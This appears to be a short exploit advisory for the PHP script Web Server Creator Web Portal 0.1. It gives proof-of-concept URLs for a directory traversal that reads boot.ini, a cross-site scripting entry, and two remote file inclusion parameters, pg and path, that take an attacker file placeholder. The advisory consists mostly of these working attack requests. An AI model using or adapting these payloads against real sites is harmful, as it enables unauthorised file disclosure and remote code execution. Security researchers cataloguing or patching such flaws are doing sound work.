Web Server Creator Web Portal 0.1 – Multiple Vulnerabilities

========================================================================================

| # Title: Web Server Creator - Web Portal v 0.1 Multi Vulnerability

| # Author : indoushka

| # email: indoushka@hotmail.com

| # Home : Souk Naamane - 04325 - Oum El Bouaghi - Algeria -(00213771818860)

| # Web Site : http://www.comscripts.com/scripts/php.web-server-creator.1082.html

| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)

| # Bug: Multi

======================Exploit By indoushka =================================

# Exploit:

1- Directory traversal (Windows)

http://127.0.0.1/1082_webserve-01/news/include/customize.php?l=../../../../../../../../boot.ini

2- XSS

http://127.0.0.1/1082_webserve-01/index.php?pg=forum

3- RFI

http://localhost/1082_webserve-01/index.php?pg=[EV!L]

http://localhost/1082_webserve-01/news/form.php?path=[EV!L]

================================ Dz-Ghost Team ========================================

Greetz : ÓíÏí ÈáÚÈÇÓ + Úíä ÇáÈÑÏ + ÔáÛæã ÇáÚíÏ K10 + K@MEL + Úíä ãáíáÉ + ÊÛäíÝ

-------------------------------------------------------------------------------------------